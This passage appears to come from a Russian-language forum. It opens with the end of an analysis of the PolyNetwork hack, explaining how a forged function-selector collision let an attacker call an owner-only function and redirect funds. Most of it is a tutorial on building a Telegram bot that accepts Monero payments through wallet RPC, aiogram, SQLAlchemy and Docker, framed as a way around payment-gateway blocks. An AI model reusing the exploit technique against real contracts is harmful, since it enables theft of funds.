('putCurEpochConPubKeyBytes (bytes)'). Slice (0, 10) '0x41973cd9 '.
А вот поддельный сигхэш:
('f1121318093 (bytes, bytes, uint64)'). Slice (0, 10) ' 0x41973cd9'.

В этом кейсе нет криптографической атаки в проверке подписи/доказательства Меркла во всех цепочках или атаки по сторонним каналам. Проблема связана в не ограничение какие контракты/функции пользователь может вызывать. PolyNetwork допустили в коде выполнение любого сввоего контракта любому пользователю с помощью EthCrossChainManager.sol. Всего лишь нужно было найти контракт, который разрешает вывод средств(EthCrossChainData.sol) и от имени owner выполнить функцию putCurEpochConPubKeyBytes() распределяя себе токены.

Пример получение оплаты в криптовалюте Monero (Python) на реальном проекте AIOgram + SQLAlchemy + Docker
ID: 67686ad7b4103b69df379698
Thread ID: 126475
Created: 2024-11-08T02:25:27+0000
Last Post: 2024-11-08T18:29:02+0000
Author: gilfoyle
Prefix: Статья
Replies: 2 Views: 928

Предисловие

Чтобы люди не платили комиссию и не ловили блокировки при использование различных сервисов вроде ~~Cryptomus~~ или другими платежными шлюзами, лучше установите свою ноду и не переживайте о блокировках и проблемах с выводом средств. Помните: "Не ваши ключи — не ваши монеты."

В этой статье будет показано, как создать простой проект и написать скрипт на Python для получения баланса и адреса, который можно интегрировать в свои проекты для приема криптовалюты на примере XMR (Monero). Далее будет рассмотрено, как реализовать вывод монет с кошелька. Вы можете использовать это в реальных разработках — всё зависит только от вас.

Настройка среды и первый скрипт

Мы будем использовать библиотеку monero, которая управляет RPC (Remote Procedure Call) кошелька Monero, но сначала необходимо скачать monero-wallet- rpc с их официального сайта.

После загрузки и распаковки папка должна выглядеть примерно так:
1731016314024.png

Создание кошелька​

Для начала понадобится monero-wallet-cli, чтобы создать кошелек. В этой же папке введите в командной строке cmd, чтобы открыть консоль.
1731016606954.png

И введите команду:

Code:Copy to clipboard

monero-wallet-cli --generate-new-wallet=my_test_monero_wallet --testnet

После этого вас попросят задать и подтвердить пароль для кошелька — запомните или запишите его, иначе не сможете получить доступ к файлу. Однако еще важнее сохранить сид-фразу из 25 слов, так как с ее помощью можно восстановить все адреса и получить доступ к средствам даже без пароля от файла.

Рекомендуется выбирать английский язык для генерации сид-фразы, чтобы избежать проблем, связанных с поддержкой русского языка в системной консоли.

От майнинга отказываемся — это нам не интересно на данном этапе.

Вот как у вас может выглядеть вывод: 1731021748068.png

В папке должны появится 2 файла, в нашем случае это: my_test_monero_wallet и my_test_monero_wallet.keys :
1731023440171.png
Для просмотра и управления кошельком через CLI можно использовать эту команду:

Code:Copy to clipboard

monero-wallet-cli --daemon-address testnet.xmr.ditatompel.com:443 --wallet-file my_test_monero_wallet --password password --testnet --trusted-daemon

Запуск RPC

Вместо управления кошельком через CLI мы будем использовать RPC. Чтобы его запустить, выполните следующую команду:

Code:Copy to clipboard

monero-wallet-rpc --daemon-address testnet.xmr.ditatompel.com:443 --rpc-bind-port 18082 --wallet-file my_test_monero_wallet --password password --testnet

Вот что у нас должна вывести консоль после этой команды. Если пишет нет подключения то проверьте точно ли вы подключаетесь с параметром --testnet к тестовой сети и наоборот, если подключаетесь к основной сети (mainnet), этот параметр указывать не нужно.

Если нода "умерла", можно нагуглить другие ноды. В Monero есть 3 вида нод: Mainnet , Stagenet , Testnet. Mainnet принято считать за настоящие монеты; остальные — фантики, рассчитанные на тесты и разработку, поэтому они не имеют ценности.

После подключения должен создаться файл с логином и паролем для RPC. В моем случае это monero-wallet-rpc.18082.login.
1731020301353.png

Проверка работоспособности

Для проверки работоспособности можно использовать скрипт из документации библиотеки.
Чтобы его запустить, создайте проект Python и виртуальное окружение. В командной строке выполните:

Code:Copy to clipboard

python -m venv venv

Активируйте виртуальное окружение:

Bash:Copy to clipboard

.\venv\Scripts\activate

Установите библиотеку Monero:

Bash:Copy to clipboard

pip install monero

Создайте файл main.py (название может быть любое, но main обычно пишут для главного файла программы как точку входа) и вставьте следующий код:

Python:Copy to clipboard

from monero.wallet import Wallet
from monero.backends.jsonrpc import JSONRPCWallet

w = Wallet(JSONRPCWallet(port=18082, user="monero", password="password"))

print(w.height())
print(w.address())
print(w.balance())

Запустите скрипт:

Bash:Copy to clipboard

python main.py

На выходе вы получите текущую высоту блокчейна, ваш основной (нулевой) адрес и текущий баланс.
1731020525928.png

Если возникли проблемы, проверьте password и username в файле, порт подключения и установку библиотеки.

Если у вас получилось, поздравляю! Мы можем использовать кошелек с помощью кода и приступать к созданию платежного шлюза.

Подключение базы данных и Docker

Для начала нам нужна база данных для хранения адресов и получения новых транзакций. Мы будем использовать связку PostgreSQL + SQLAlchemy + Docker.

Docker можно скачать и установить с официального сайта, как и pgAdmin.

Создайте файл docker-compose.yaml для скачивания образа и запуска нашей базы данных.
Настройка Docker Compose для PostgreSQL

Пример файла docker-compose.yaml :

YAML:Copy to clipboard

version: '3.8'

services:
  db:
    container_name: db
    image: postgres:latest
    restart: always
    environment:
      POSTGRES_USER: postgres
      POSTGRES_PASSWORD: postgres
      POSTGRES_DB: postgres
    ports:
      - '5432:5432'
    volumes:
      - db-data:/var/lib/postgresql/data # Определение тома для PostgreSQL данных

volumes:
  db-data:

Запуск контейнера PostgreSQL

Убедитесь, что Docker запущен, затем в командной строке выполните:

Code:Copy to clipboard

docker compose -f docker-compose.yaml up -d

Если всё настроено правильно, Docker создаст и запустит контейнер. Вы увидите ваш контейнер в Docker Desktop или через команду docker ps. На выходе должно получится такая картинка о том что все успешно создалось и запустилось:
1731020867121.png

А в самом Docker вы увидите ваш контейнер:
1731020887441.png

Подключение к PostgreSQL через pgAdmin

Чтобы проверить работоспособность, можно использовать pgAdmin.

  1. Откройте pgAdmin и добавьте новый сервер: Register - > Server...
  2. Введите имя сервера и на вкладке Connection укажите параметры подключения: IP-адрес (localhost) , порт (5432) , имя базы данных (postgres), имя пользователя и пароль (postgres).1731020984590.png
  3. Нажмите Save для завершения подключения. Вы должны увидеть базу данных postgres, созданную в Docker Compose.

1731021800603.png

Настройка SQLAlchemy и Alembic для асинхронной работы с базой данных

Для подключения к базе данных и работы с миграциями установим необходимые библиотеки и инициализируем Alembic и SQLAlchemy для работы в асинхронном режиме из их [cookbook](https://alembic.sqlalchemy.org/en/latest/cookbook.html#using- asyncio-with-alembic).

Установка библиотек

Активируйте виртуальное окружение и установите библиотеки:

Bash:Copy to clipboard

.\venv\Scripts\activate
pip install alembic sqlalchemy

Инициализация Alembic

Инициализируем Alembic:

Bash:Copy to clipboard

alembic init -t async alembic

Эта команда создаст папку alembic с конфигурацией. Чтобы упростить версионирование, откройте файл alembic.ini и отредактируйте шаблон имен файлов ревизий:

INI:Copy to clipboard

file_template = %%(year)d_%%(month).2d_%%(day).2d_%%(hour).2d%%(minute).2d-%%(rev)s_%%(slug)s

Создание тестового Telegram-бота с помощью aiogram

Для взаимодействия с базой данных через бота установим нужные библиотеки:

Bash:Copy to clipboard

pip install aiogram pydantic pydantic-settings asyncpg uuid

Проверка работоспособности простым примером:
1. Создайте нового бота через BotFather , выполните команды:

2. Придумайте имя и никнейм бота с указанием на конце _bot или bot , получите токен.
1731021822946.png

В сообщение берем токен и переходим на бота жмем в нашем боте /start и возвращаемся к коду.

Чтобы проверить, правильно ли установилась библиотека, можно использовать пример эхо-бота с официального GitHub aiogram.
1731021838861.png

Создание бота с основными функциями

Для примера создадим бота, который записывает пользователей в базу данных и предлагает пять кнопок: profile , back , deposit , withdraw , approve.

Структура проекта

Создадим следующую структуру папок:

И файлы с чтением наших настроек проекта:

Настройка файла config_reader.py

Python:Copy to clipboard

from pydantic_settings import BaseSettings, SettingsConfigDict
from pydantic import SecretStr
 
class Settings(BaseSettings):
    bot_token: SecretStr
    sqlalchemy_url: SecretStr
    rpc_monero_login: SecretStr
    rpc_monero_password: SecretStr
    rpc_monero_port: SecretStr
 
    model_config: SettingsConfigDict = SettingsConfigDict(
        env_file=".env",
        env_file_encoding="utf-8"
    )
 
config = Settings()

Подключение к базе данных и модели пользователя:

Python:Copy to clipboard

from datetime import datetime
from sqlalchemy.dialects.postgresql import UUID
import uuid
from sqlalchemy import BigInteger, Column, Integer, String, ForeignKey, Float, LargeBinary, Boolean, DateTime, Enum, \
    UniqueConstraint, CheckConstraint, Sequence, TypeDecorator
from sqlalchemy.types import ARRAY
from sqlalchemy.ext.asyncio import create_async_engine, async_sessionmaker
from sqlalchemy.orm import relationship, declarative_base
from enum import Enum as PyEnum
from config_reader import config

engine = create_async_engine(config.sqlalchemy_url.get_secret_value(), echo=True)
async_session = async_sessionmaker(engine)
Base = declarative_base()

class User(Base):
    __tablename__ = "users"
    id = Column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
    tg_chat_id = Column(BigInteger, unique=True, index=True, nullable=False)
    username = Column(String(255), nullable=True)
    monero = Column(BigInteger, default=0, doc="Value of transaction input")

async def async_main():
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

Настройка Alembic и создание ревизий

Настройка файла env.py.​

1. В файле env.py на 24-й строчке установите модели и добавьте подключение к базе данных:

Python:Copy to clipboard

from data.database import Base
target_metadata = Base.metadata

import config_reader
config.set_main_option("sqlalchemy.url", config_reader.config.sqlalchemy_url.get_secret_value())

2. Создайте первую ревизию базы данных, введя в консоли команду:

Bash:Copy to clipboard

alembic revision --autogenerate -m "F start"

В базе данных появятся конфиги от Alembic с версиями и т.д. Для создания таблицы users необходимо перейти на последнюю ревизию базы данных:

Bash:Copy to clipboard

alembic upgrade head

Построение логики бота

Настройка файла bot.py.​

Создайте файл bot.py со следующим содержимым:

Python:Copy to clipboard

import asyncio
import logging
import sys
from aiogram import Bot, Dispatcher
from aiogram.client.default import DefaultBotProperties
from config_reader import config
from handlers import user_commands

async def main() -> None:
    # Initialize Bot instance with a default parse mode which will be passed to all API calls
    bot = Bot(config.bot_token.get_secret_value(), default=DefaultBotProperties(parse_mode="HTML"))
    # All handlers should be attached to the Router (or Dispatcher)
    dp = Dispatcher()
    dp.include_routers(user_commands.router)
    await bot.delete_webhook(drop_pending_updates=True)
    # And the run events dispatching
    await dp.start_polling(bot)

if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO, stream=sys.stdout)
    # Получаем event loop
    loop = asyncio.get_event_loop()
    # Запускаем main()
    loop.run_until_complete(main())

**Настройкаuser_commands.py**​

Создайте файл user_commands.py в папке **handlers **для обработки команд пользователя.

Python:Copy to clipboard

from aiogram import Router, F
from aiogram.types import Message, CallbackQuery
from aiogram.filters import CommandStart
from aiogram.utils.markdown import hbold

from data.requests import add_user
from keyboards.main_menu import main_menu

router = Router()

@router.message(CommandStart())
@router.callback_query(F.data == "main_menu")
async def cmd_start(message: Message | CallbackQuery):
    print(message.from_user.id)
    ss = await add_user(tg_chat_id=message.from_user.id, username=message.from_user.username)
    print(ss)
    await message.answer(f"Hello, {hbold(message.from_user.full_name)}!", reply_markup=main_menu)

Работа с базой данных

**Функции для работы с пользователями вrequests.py**​

Создайте файл requests.py в папке data , который будет содержать функции для добавления пользователя и получения баланса пользователя:

Python:Copy to clipboard

from data.database import User, async_session
from sqlalchemy import select, and_

async def add_user(tg_chat_id, username):
    async with async_session() as session:
        try:
            # Проверяем, существует ли пользователь с заданным tg_chat_id
            existing_user = await session.execute(select(User).where(User.tg_chat_id == tg_chat_id))
            user = existing_user.scalar_one_or_none()

            if user is None:
                new_user = User(tg_chat_id=tg_chat_id, username=username)
                session.add(new_user)
                await session.commit()
                return "Пользователь добавлен в базу данных"
            else:
                # Если пользователь существует, обновляем его username
                if user.username != username:
                    user.username = username
                    await session.commit()
                    return "Имя пользователя обновлено"
                else:
                    return "Пользователь уже существует в базе данных"
        except Exception as err:
            print(err)

async def get_user_balance_monero(tg_chat_id) -> float | None:
    async with async_session() as session:
        try:
            user = await session.execute(select(User).where(User.tg_chat_id == tg_chat_id))
            user = user.scalar_one_or_none()
            if user:
                return user.monero  # возвращает баланс Monero пользователя, замените на нужное поле
            else:
                return None  # если пользователь не найден
        except Exception as err:
            print(err)

**Создание инлайн-клавиатур вkeyboards/inline.py:**​

Python:Copy to clipboard

from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from aiogram.utils.keyboard import InlineKeyboardBuilder

main_menu_ikb = InlineKeyboardMarkup(
    inline_keyboard=[
        [
            InlineKeyboardButton(text=f"Wallet", callback_data="wallet"),
        ],
    ])

wallet_ikb = InlineKeyboardMarkup(
    inline_keyboard=[
        [
            InlineKeyboardButton(text=f"Пополнить", callback_data="deposit"),
            InlineKeyboardButton(text=f"Вывести", callback_data="withdraw"),
        ],
        [
            InlineKeyboardButton(text=f"Адресная книга", callback_data="address_book"),
        ],
        [
            InlineKeyboardButton(text=f"Коммисии и лимиты", callback_data="commissions_and_limits"),
        ],
        [
            InlineKeyboardButton(text=f"Назад", callback_data="main_menu"),
        ]
    ])

deposit_ikb = InlineKeyboardMarkup(
    inline_keyboard=[
        [
            InlineKeyboardButton(text=f"Назад", callback_data="wallet"),
        ]
    ])

**Обработка навигации вcallbacks/navigation.py**​

Создайте файл navigation.py для обработки callback-команд:

Python:Copy to clipboard

from aiogram import Router, F
from aiogram.types import CallbackQuery
from data.requests import get_user_balance_monero

router = Router()

@router.callback_query(F.data == "wallet")
async def wallet(call: CallbackQuery):
    balance = await get_user_balance_monero(call.from_user.id)
    print(balance)
    await call.message.edit_text(f"Ваш баланс {balance}")

Получение Monero монет для тестов и тестирование RPC

Чтобы протестировать команды и подключение, нам понадобится немного тестовых токенов Monero. Найдите в интернете "faucet testnet xmr", выберите сайт, введите адрес вашего кошелька, пройдите капчу и нажмите "Submit".
Пример сайта:
1731022341422.png

Тестирование команд Monero с помощью RPC
В main.py протестируйте команды, чтобы определить, какие из них потребуются для бота:

Python:Copy to clipboard

from monero.wallet import Wallet
from monero.backends.jsonrpc import JSONRPCWallet

w = Wallet(JSONRPCWallet(port=18082, user="monero", password="i841csLc5BycblOwz4v3qA=="))

print("Height: ", w.height())
print("Address: ", w.address())
print("balance: ", w.balance())

# print(w.new_address())
# print(w.addresses())
# print(w.accounts[0].address())
# print(w.accounts[0].new_address())
# print(w.accounts[0].addresses())

incomings = w.accounts[0].incoming(min_height=2615765)
print(incomings)
for incoming in incomings:
    print(incoming.transaction.hash)
    print(incoming.transaction.height)
    print(incoming.amount)
    print(incoming.local_address)

Разберем, что делают эти команды и зачем они нужны:

Основные интересующие нас параметры:

Команды:
w.height()
— возвращает текущую высоту цепочки транзакций, что соответствует количеству уже записанных блоков.
w.address() — возвращает главный адрес кошелька первого аккаунта.
w.balance() — показывает общий баланс кошельков.

Кошелек Monero может содержать несколько аккаунтов и субадресов. В коде w.accounts[0] ,w.accounts[1] и т.д. — это аккаунты кошелька. Удобнее использовать только нулевой аккаунт и его субадреса, если это, например, магазин или сервис, так как проверять нужно меньше кошельков. Однако, если это платформа, лучше выделить для каждого пользователя отдельный аккаунт, чтобы он мог проводить sweep_account (полное опустошение кошелька с учетом комиссии). Это также предотвратит блокировку средств между аккаунтами при переводах, что иногда случается с субадресами одного аккаунта.
w.accounts[0].new_address() — создает новый субадрес для заданного аккаунта.
w.accounts[0].addresses() — возвращает все субадреса аккаунта.
w.accounts[0].incoming(min_height=2615765) — показывает все входящие транзакции для аккаунта, начиная с указанной высоты.

Атрибуты входящей транзакции:
incoming.transaction.hash
— хеш транзакции.
incoming.transaction.height — высота транзакции.
incoming.amount — сумма монет в транзакции.
incoming.local_address — локальный адрес кошелька (адрес RPC), на который поступили средства.

Адаптируем наши модели под необходимые параметры:

Python:Copy to clipboard

from sqlalchemy.dialects.postgresql import UUID
import uuid
 
from sqlalchemy import BigInteger, Integer, String, ForeignKey, Float, Boolean
 
from sqlalchemy.ext.asyncio import create_async_engine, async_sessionmaker
from sqlalchemy.orm import relationship, declarative_base, Mapped, mapped_column
 
from config_reader import config
 
engine = create_async_engine(config.sqlalchemy_url.get_secret_value(), echo=True)
async_session = async_sessionmaker(engine)
Base = declarative_base()
 
 
class User(Base):
    __tablename__ = "users"
 
    id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
    tg_chat_id: Mapped[int] = mapped_column(BigInteger, unique=True, index=True, nullable=False)
    username: Mapped[str | None] = mapped_column(String(255), nullable=True)
 
    monero_balance: Mapped[float] = mapped_column(Float, default=0, doc="Value of transaction input")
    monero_addresses: Mapped[list["MoneroAddress"]] = relationship(back_populates="user", uselist=True)
 
    monero_deposit_transaction: Mapped[list["MoneroDepositTransaction"]] = relationship(back_populates="user", uselist=True)
    monero_withdraw_transaction: Mapped[list["MoneroWithdrawTransaction"]] = relationship(back_populates="user", uselist=True)
 
 
class MoneroAddress(Base):
    __tablename__ = "monero_address"
 
    id: Mapped[int] = mapped_column(Integer, unique=True, nullable=False, primary_key=True)
    user_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("users.id"))
    user: Mapped["User"] = relationship(back_populates="monero_addresses", uselist=False)
    address: Mapped[str] = mapped_column(String(100))
    used: Mapped[bool] = mapped_column(Boolean, default=False)
 
 
class MoneroDepositTransaction(Base):
    __tablename__ = "monero_deposit_transaction"
 
    id: Mapped[int] = mapped_column(Integer, unique=True, nullable=False, primary_key=True)
    tx_hash: Mapped[str] = mapped_column(String(300), nullable=False)
    amount: Mapped[float] = mapped_column(Float, nullable=False)
    address_in: Mapped[str] = mapped_column(String(100))
    user_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("users.id"))
    user: Mapped["User"] = relationship(back_populates="monero_deposit_transaction", uselist=False)
    height: Mapped[int] = mapped_column(BigInteger, nullable=False)
 
 
class MoneroWithdrawTransaction(Base):
    __tablename__ = "monero_withdraw_transaction"
 
    id: Mapped[int] = mapped_column(Integer, unique=True, nullable=False, primary_key=True)
    tx_hash: Mapped[str] = mapped_column(String(300), nullable=False)
    amount: Mapped[float] = mapped_column(Float, nullable=False)
    address_to: Mapped[str] = mapped_column(String(100))
    user_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("users.id"))
    user: Mapped["User"] = relationship(back_populates="monero_withdraw_transaction", uselist=False)
 
 
async def async_main():
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

Для обновления структуры базы данных выполним команды Alembic:

1. Сгенерируйте миграцию:

Bash:Copy to clipboard

alembic revision --autogenerate -m "add monero db"

2. Примените миграцию:

Bash:Copy to clipboard

alembic upgrade head

После этого появится новая ревизия, и база данных будет обновлена. Изменения можно проверить через pgAdmin4.

Инициализация кошелька и создание обработчиков

Добавим инициализацию кошелька и несколько функций в data/requests.py:

Python:Copy to clipboard

from monero.backends.jsonrpc import JSONRPCWallet
from monero.wallet import Wallet

monero_rpc = Wallet(JSONRPCWallet(port=config.rpc_monero_port.get_secret_value(), user=config.rpc_monero_login.get_secret_value(), password=config.rpc_monero_password.get_secret_value()))

Не забываем что все данные переменные окружения передаются через менеджер конфигурации например, pydantic_settings или python-dotenv.

Функция для получения актуального субадреса

Создадим функцию для получения (или создания) нового неиспользованного субадреса для пользователя:

Python:Copy to clipboard

async def get_address_monero(tg_chat_id):
    async with async_session() as session:
        try:
            user = await session.execute(select(User).where(User.tg_chat_id == tg_chat_id))
            user = user.scalar_one_or_none()
            user_address = await session.execute(select(MoneroAddress).where(and_(MoneroAddress.user_id == user.id, MoneroAddress.used == False)))
            user_address = user_address.scalars().first()
            print(user_address)
            if user_address:
                return user_address.address
            else:
                user_address, sub_address_id = monero_rpc.accounts[0].new_address()
                new_address = MoneroAddress(id=sub_address_id, user_id=user.id, address=str(user_address), used=False)
                session.add(new_address)
                await session.commit()
                return user_address

        except Exception as err:
            print(err)

Объяснение
user = await session.execute(select(User).where(User.tg_chat_id == tg_chat_id))
— получаем текущего пользователя или подтверждаем его отсутствие. Можно добавить проверку на None. В select указывается модель, where должно указываться поле для сравнения и переменная, с которой сравниваем. session.execute — выполнение запроса.

user = user.scalar_one_or_none() — нужно для того, чтобы нормализовать данные для обращения с ними: одно значение или отсутствие данных.

user_address = await session.execute(select(MoneroAddress).where(and_(MoneroAddress.user_id == user.id, MoneroAddress.used == False))) — пробуем найти неиспользованный субадрес Monero у пользователя. Для этого используем and_, чтобы указать сразу несколько параметров.

user_address = user_address.scalars().first() — нормализация множества данных и берём первое попавшееся.

Далее проверяем, есть ли подходящий адрес. Если значение не найдено (оно будет None), нам нужно будет создать новый субадрес.

user_address, sub_address_id = monero_rpc.accounts[0].new_address() — возвращаются сразу 2 значения, и мы можем привязать sub_address_id к нашей таблице, если нам понадобится использовать адрес по номеру из кошелька в RPC.

new_address = MoneroAddress(id=sub_address_id, user_id=user.id, address=str(user_address), used=False) — создаём объект нового адреса.

session.add(new_address) — отправляем на добавление.

await session.commit() — коммитим в базу, то есть попытка отправки.

В итоге получаем такой файл:

Python:Copy to clipboard

from monero.backends.jsonrpc import JSONRPCWallet
from monero.wallet import Wallet
 
from config_reader import config
from data.database import User, async_session, MoneroAddress, MoneroDepositTransaction
from sqlalchemy import select, and_, func
 
monero_rpc = Wallet(JSONRPCWallet(port=config.rpc_monero_port.get_secret_value(), user=config.rpc_monero_login.get_secret_value(), password=config.rpc_monero_password.get_secret_value()))
 
async def add_user(tg_chat_id, username):
    async with async_session() as session:
        try:
            # Проверяем, существует ли пользователь с заданным tg_chat_id
            existing_user = await session.execute(select(User).where(User.tg_chat_id == tg_chat_id))
            user = existing_user.scalar_one_or_none()
 
            if user is None:
                new_user = User(tg_chat_id=tg_chat_id, username=username)
                session.add(new_user)
                await session.commit()
                return "Пользователь добавлен в базу данных"
            else:
                # Если пользователь существует, обновляем его username
                if user.username != username:
                    user.username = username
                    await session.commit()
                    return "Имя пользователя обновлено"
                else:
                    return "Пользователь уже существует в базе данных"
        except Exception as err:
            print(err)
 
 
async def get_user_balance_monero(tg_chat_id) -> float | None:
    async with async_session() as session:
        try:
            user = await session.execute(select(User).where(User.tg_chat_id == tg_chat_id))
            user = user.scalar_one_or_none()
            if user:
                return user.monero_balance  # возвращает баланс Monero пользователя, замените на нужное поле
            else:
                return None  # если пользователь не найден
        except Exception as err:
            print(err)
 
 
async def get_address_monero(tg_chat_id):
    async with async_session() as session:
        try:
            user = await session.execute(select(User).where(User.tg_chat_id == tg_chat_id))
            user = user.scalar_one_or_none()
            user_address = await session.execute(select(MoneroAddress).where(and_(MoneroAddress.user_id == user.id, MoneroAddress.used == False)))
            user_address = user_address.scalars().first()
            if user_address:
                return user_address.address
            else:
                user_address, sub_address_id = monero_rpc.accounts[0].new_address()
                new_address = MoneroAddress(id=sub_address_id, user_id=user.id, address=str(user_address), used=False)
                session.add(new_address)
                await session.commit()
                return user_address
 
        except Exception as err:
            print(err)

Мы модифицируем файл handler.py :

Python:Copy to clipboard

from aiogram import Router, F
from aiogram.types import Message, CallbackQuery
from aiogram.filters import CommandStart
from aiogram.utils.markdown import hbold
 
from data.requests import add_user
 
from keyboards.inline import main_menu_ikb
 
router = Router()
 
 
@router.message(CommandStart())
@router.callback_query(F.data == "main_menu")
async def cmd_start(message: Message | CallbackQuery):
    await add_user(tg_chat_id=message.from_user.id, username=message.from_user.username)
    text = f"Hello, {hbold(message.from_user.full_name)}!"
 
    if isinstance(message, CallbackQuery):
        await message.message.edit_text(text, reply_markup=main_menu_ikb)
        await message.answer()
    else:
        await message.answer(text, reply_markup=main_menu_ikb)

В функции мы указываем параметры Message и CallbackQuery для корректной работы клавиатуры при выполнении команды /start и нажатии на кнопку "main_menu" в клавиатуре. Через проверку if isinstance(message, CallbackQuery) создаем два разных варианта ответа.

В файле callbacks/navigation.py добавляем обработку пути для deposit и используем нашу функцию:

Python:Copy to clipboard

from aiogram import Router, F
from aiogram.types import CallbackQuery
from data.requests import get_user_balance_monero, get_address_monero
from keyboards.inline import wallet_ikb, deposit_ikb
 
router = Router()
 
 
@router.callback_query(F.data == "wallet")
async def wallet(call: CallbackQuery):
    balance_monero = await get_user_balance_monero(call.from_user.id)
    print(balance_monero)
    await call.message.edit_text(f"Ваш баланс: {balance_monero}", reply_markup=wallet_ikb)
 
 
@router.callback_query(F.data == "deposit")
async def deposit(call: CallbackQuery):
    address = await get_address_monero(call.from_user.id)
    await call.message.edit_text(f"Ваш address: {address}", reply_markup=deposit_ikb)

Теперь можно запускать и проверять: получение баланса из базы данных работает, также работает получение адреса пользователя.
1731026043198.png

Далее создаем функцию get_new_deposit_monero в data/requests.py , чтобы начать прием транзакций:

Python:Copy to clipboard

async def get_new_deposit_monero():
    async with async_session() as session:
        try:
            query = select(func.max(MoneroDepositTransaction.height))
            result = await session.execute(query)
            highest_height = result.scalar_one_or_none() or 0
 
            incomings = monero_rpc.accounts[0].incoming(min_height=highest_height)
            for incoming in incomings:
                hash = incoming.transaction.hash
                height = incoming.transaction.height
                amount = incoming.amount
                address = str(incoming.local_address)
 
       
                result = await session.execute(select(MoneroDepositTransaction).where(MoneroDepositTransaction.tx_hash == hash))
                double_check = result.scalar_one_or_none()
 
                if double_check is None:
                    result = await session.execute(
                        select(MoneroAddress).where(MoneroAddress.address == address)
                    )
                    user_address = result.scalar_one_or_none()
 
                    if user_address is None:
                        continue
 
         
                    tx = MoneroDepositTransaction(
                        tx_hash=hash,
                        amount=amount,
                        height=height,
                        user_id=user_address.user_id,
                        address_in=user_address.address
                    )
                    session.add(tx)
 
                    result = await session.execute(
                        select(User).where(User.id == user_address.user_id)
                    )
                    user = result.scalar_one_or_none()
 
                    if user:
                        user.monero_balance += float(amount)
 
                    await session.commit()
 
        except Exception as err:
            print(err)

Для начала мы должны получить максимально значения высоты из сохранённых (еще нет, но будут) нами транзакций или установка в нулевое положение:

Python:Copy to clipboard

query = select(func.max(MoneroDepositTransaction.height))

func.max — это SQLAlchemy функция для получения максимального значения по таблице.

incomings = monero_rpc.accounts[0].incoming(min_height=highest_height) - Получаем весь список транзакции от этого уровня

for incoming in incomings: - Так как это список (list), мы будем использовать цикл для его обработки. Далее проверяем, есть ли уже такая транзакция. Если нет, то проверяем наличие адреса в нашей БД у пользователей и получаем id пользователя. Если нету в БД, можно обработать как донат или как-то по-другому фильтровать. Создаём объект транзакции, добавляем и прибавляем баланс пользователю, только в конце делаем await session.commit() , чтобы если случится ошибка, она не закоммитилась в БД только часть данных без обработки.

Далее нам надо это как-то использовать в фоне, для этого есть библиотека apscheduler, давайте добавим его в bot.py:
scheduler = AsyncIOScheduler() - объявления его
scheduler.add_job(get_new_deposit_monero, trigger="interval", seconds=60) - для добавления задачи в работу используем нашу функцию get_new_deposit_monero
trigger="interval"
- это значит с помощью интервала каждые seconds=60
scheduler.start() - стартует задачу

Python:Copy to clipboard

import asyncio
import logging
import sys

from aiogram import Bot, Dispatcher
from aiogram.client.default import DefaultBotProperties

from config_reader import config
from data.requests import get_new_deposit_monero

from handlers import user_commands
from callbacks import navigation
from apscheduler.schedulers.asyncio import AsyncIOScheduler

async def main() -> None:
    # Initialize Bot instance with a default parse mode which will be passed to all API calls

    bot = Bot(config.bot_token.get_secret_value(), default=DefaultBotProperties(parse_mode="HTML"))
    # All handlers should be attached to the Router (or Dispatcher)
    dp = Dispatcher()
    scheduler = AsyncIOScheduler()

    scheduler.add_job(get_new_deposit_monero, trigger="interval", seconds=60)
    scheduler.start()
    dp.include_routers(user_commands.router,
                       navigation.router,
                       )
    await bot.delete_webhook(drop_pending_updates=True)
    # And the run events dispatching
    await dp.start_polling(bot)


if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO, stream=sys.stdout)
    # Получаем event loop
    loop = asyncio.get_event_loop()
    # Устанавливаем asyncio event loop для apscheduler
    scheduler = AsyncIOScheduler()
    scheduler.configure(loop=loop)
    # Запускаем main()
    loop.run_until_complete(main())

Можно запускать проверку балансов пользователей, пополняются, все работает. Далее переделаем проект для множества аккаунтов Monero, ведь это требуется в моем проекте. Если вам это не нужно, то далее можно сделать автоматический вывод средств или что-то еще, что придумаете. Платежка готова.

Переделка под множество аккаунтов Monero​

Начнем с базы данных. Поэтому обновляем модели в папке data , файл database.py.

Добавляем столбцы monero_account_id и monero_zero_address в таблицу users:

Python:Copy to clipboard

class User(Base):
    __tablename__ = "users"

    id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
    tg_chat_id: Mapped[int] = mapped_column(BigInteger, unique=True, nullable=False)
    username: Mapped[str | None] = mapped_column(String(255), nullable=True)

    monero_account_id: Mapped[int] = mapped_column(Integer, unique=True, nullable=True)
    monero_zero_address: Mapped[str] = mapped_column(String(95), nullable=True)
    monero_addresses: Mapped[list["MoneroAddress"]] = relationship(back_populates="user", uselist=True)
    monero_balance: Mapped[float] = mapped_column(Float, default=0, doc="Value of transaction input")
    monero_deposit_transaction: Mapped[list["MoneroDepositTransaction"]] = relationship(back_populates="user", uselist=True)
    monero_withdraw_transaction: Mapped[list["MoneroWithdrawTransaction"]] = relationship(back_populates="user", uselist=True)

В таблице monero_address добавляем account_id и sub_address_id :

Python:Copy to clipboard

class MoneroAddress(Base):
    __tablename__ = "monero_address"

    id: Mapped[int] = mapped_column(Integer, unique=True, nullable=False, primary_key=True)
    user_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("users.id"))
    user: Mapped["User"] = relationship(back_populates="monero_addresses", uselist=False)
    address: Mapped[str] = mapped_column(String(95), nullable=False)
    used: Mapped[bool] = mapped_column(Boolean, default=False)
    account_id: Mapped[int] = mapped_column(Integer, nullable=False)
    sub_address_id: Mapped[int] = mapped_column(Integer, nullable=False)

В таблице monero_deposit_transaction добавляем account_id :

Code:Copy to clipboard

class MoneroDepositTransaction(Base):
    __tablename__ = "monero_deposit_transaction"

    id: Mapped[int] = mapped_column(Integer, unique=True, nullable=False, primary_key=True)
    tx_hash: Mapped[str] = mapped_column(String(300), nullable=False)
    amount: Mapped[float] = mapped_column(Float, nullable=False)
    address_in: Mapped[str] = mapped_column(String(95))
